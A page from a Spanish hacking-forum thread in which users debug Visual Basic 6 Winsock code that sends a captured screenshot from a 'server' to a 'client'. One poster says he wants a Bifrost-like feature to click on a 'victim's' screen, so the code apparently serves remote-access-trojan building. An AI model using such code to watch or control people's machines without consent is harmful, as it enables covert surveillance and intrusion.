elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Entrar al Canal Oficial Telegram de elhacker.net


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación General
| | |-+  .NET (C#, VB.NET, ASP)
| | | |-+  Programación Visual Basic (Moderadores: LeandroA, seba123neo)
| | | | |-+  Problema enviar archivo
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: 1 2 [3] 4 5 6 Ir Abajo Respuesta Imprimir
Autor Tema: Problema enviar archivo  (Leído 11,218 veces)
~~
Ex-Staff
*
Desconectado Desconectado

Mensajes: 2.981


Ver Perfil WWW
Re: Problema enviar archivo
« Respuesta #20 en: 2 Abril 2007, 01:24 am »

Pues puede ser q has puesto case "send" dentro del timer  :o eso tiene q ir el el data arrival del ws 

Aparte de q lo estas haciendo mal de nuevo. Por q usas esto:
Código:
WS.SendData "yas|" & send & "|" & ya

En vez del interruptor q te e dicho? joer si te ayudo por lo menos hazme caso!! no ves q la imagen puede contener entre medias caracteres "|" por lo q al partilos perderias un monton de datos... si embargo si usas el interruptor no!!! imaginate q esto es una imagen en binario:

Código:
sdafsad|dfdsf5sd4f|sd4f@||||||||||lsjdvfsd5f4||svds|474

No ves q al llegar al server va a partir el chorizo ese por el | y vas a perder trozos? usa el interruptor anda...


En línea

vivachapas


Desconectado Desconectado

Mensajes: 612



Ver Perfil
Re: Problema enviar archivo
« Respuesta #21 en: 2 Abril 2007, 02:22 am »

estuve trabajando con los codigos y logre hacer el mio propio!! estoy muy contento por eso... y creo q se tu error ya q tb lo cometi mientras hacia el mio


Citar
WS.SendData "yas|" & send & "|" & ya

el archivo envia la palabra yas| y una parte de la imagen... luego en otro paquete envia solo la siguiente parte de la imagen por lo que:

Citar
Case "yas"

no se vuelve a cumplir!!  ;D


creo q ese estu problema!! aunque soy muy novato y no se si lo q digo estara bien...


tendrias q hacer como bien dice EON un interruptor
yovaninu lo explica muy bien.. de ahi lo entendi mucho


En línea

vivachapas


Desconectado Desconectado

Mensajes: 612



Ver Perfil
Re: Problema enviar archivo
« Respuesta #22 en: 2 Abril 2007, 04:56 am »

como pongo una imagen en un picture... o en un image... no se q me conviene para hacer (empezar a hacer) una funcion como la del bifrost... para poder hacer clicks en la pantalla de la victima...
En línea

Jareth


Desconectado Desconectado

Mensajes: 334



Ver Perfil
Re: Problema enviar archivo
« Respuesta #23 en: 2 Abril 2007, 13:26 pm »

Mi problema es que no es tan sencillo,tengo un array de datos y cuando se hace la conexion envio varios datos,por eso lo hacia con case y todo porque con el codigo de E0N,el lo hace con ws.getdata datos,y luego todo con datos,pero asi a mi creo que no me iria porque tengo un array,por eso el select case sdatos(0) y hago un case,y por eso me va o me cuesta.Lo del interruptor ya lo he hecho y sigue sin irme.
En línea

~~
Ex-Staff
*
Desconectado Desconectado

Mensajes: 2.981


Ver Perfil WWW
Re: Problema enviar archivo
« Respuesta #24 en: 2 Abril 2007, 15:52 pm »

No te funciona por lo q dice vivachapas ;)

Sube la parte del data arrival y te digo. Seguramente hagas ws.getdata datos y luego los partes:
Split (datos, "|")
no??
En línea

Jareth


Desconectado Desconectado

Mensajes: 334



Ver Perfil
Re: Problema enviar archivo
« Respuesta #25 en: 2 Abril 2007, 15:56 pm »

Código:
Private Sub WS_DataArrival(index As Integer, ByVal bytesTotal As Long)
On Error Resume Next
Dim datos As String
Dim sData() As String
WS(index).GetData datos
sData = Split(datos, "|")

Select Case sData(0)
Case "Conexion"
Gracias y saludos.
En línea

~~
Ex-Staff
*
Desconectado Desconectado

Mensajes: 2.981


Ver Perfil WWW
Re: Problema enviar archivo
« Respuesta #26 en: 2 Abril 2007, 16:16 pm »

Si, asi es como lo suelo usar yo tb. No pasa nada por q partas la cadena, recuerda q la variable datos no esta partido, kedaria asi:

CLIENTE:
Citar
Dim DataFile As String
Dim LenFile As Long
Dim Envio As Boolean

Private Sub Form_Load()
Envio = False
End Sub

Private Sub WS_DataArrival(index As Integer, ByVal bytesTotal As Long)
On Error Resume Next
Dim datos As String
Dim sData() As String

WS(index).GetData datos
sData = Split(datos, "|")

If Envio = True Then
   DataFile = DataFile & datos
   If Len(DataFile) = LenFile Then
       Open "C:\capture2.jpg" For Binary As #1
           Put #1, , DataFile
       Close #1
       DataFile = ""
       MsgBox "El Fichero se a Enviado Correctamente"
       'Ahora lo tendrias q mostrar C:\capture2.jpg en un picture
       Envio = False
   End If
End If

Select Case sData(0)
Case "Tam:"
LenFile = sData(1)
Envio = True
ws.SendData "SendFile"




SERVER:
Citar
'La peticion de imagen ponla dentro del data arrival con la palabra q tu kieras
Private Sub ws_Connect()
ws.SendData "Tam:|" & FileLen("C:\Prueba.txt")
End Sub

Private Sub ws_DataArrival(ByVal bytesTotal As Long)
Dim sData() As String
Dim datos As String
Dim Send As String

ws.GetData datos
sData = Split(datos, "|")

Select Case sData(0)
Case "SendFile"
'Aki pones el code para q haga la foto y q se guarde en C:\capture.jpg
      Open "C:\capture.jpg" For Binary As #1
        Send = Space(LOF(1))
        Get #1, , Send
      Close #1
ws.SendData Send
End If

End Sub

Ya esta lo unico q tendrias q cambiar seria
Código:
Private Sub ws_Connect()
ws.SendData "Tam:|" & FileLen("C:\Prueba.txt")
End Sub
del server y poerlo en el data arrival, en uno de los case para q de mande la imagen cuando tu kieras ;)
En línea

Jareth


Desconectado Desconectado

Mensajes: 334



Ver Perfil
Re: Problema enviar archivo
« Respuesta #27 en: 2 Abril 2007, 16:42 pm »

Wua,muchas gracias E0N me va al 100%,funciona de maravilla mil gracias,muchisimas gracias por tu ayuda y tu paciencia.Si te puedo ayudar en algo(no creo)hazmelo saber.
Muchas gracias.
Saludos.
Se puede dar por solucionado.
En línea

~~
Ex-Staff
*
Desconectado Desconectado

Mensajes: 2.981


Ver Perfil WWW
Re: Problema enviar archivo
« Respuesta #28 en: 2 Abril 2007, 16:57 pm »

Menos mal q te funciona xDD por q llevamos 28 respuestas con la mia para transferir un archivo xDD

De nada  ::)
En línea

Jareth


Desconectado Desconectado

Mensajes: 334



Ver Perfil
Re: Problema enviar archivo
« Respuesta #29 en: 2 Abril 2007, 17:39 pm »

Menos mal q te funciona xDD por q llevamos 28 respuestas con la mia para transferir un archivo xDD

De nada  ::)
jajajaj si me ha costado pero ha salido.
Enga muchas gracias.
En línea

Páginas: 1 2 [3] 4 5 6 Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
[SOLUCIONADO] Problema al abrir archivo para enviar « 1 2 3 »
Programación Visual Basic
ŞCØRPIØN-X3 25 11,343 Último mensaje 12 Mayo 2011, 23:34 pm
por ŞCØRPIØN-X3
Enviar a ftp archivo
Scripting
dian1919 4 3,686 Último mensaje 14 Octubre 2022, 21:27 pm
por Danielㅤ
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines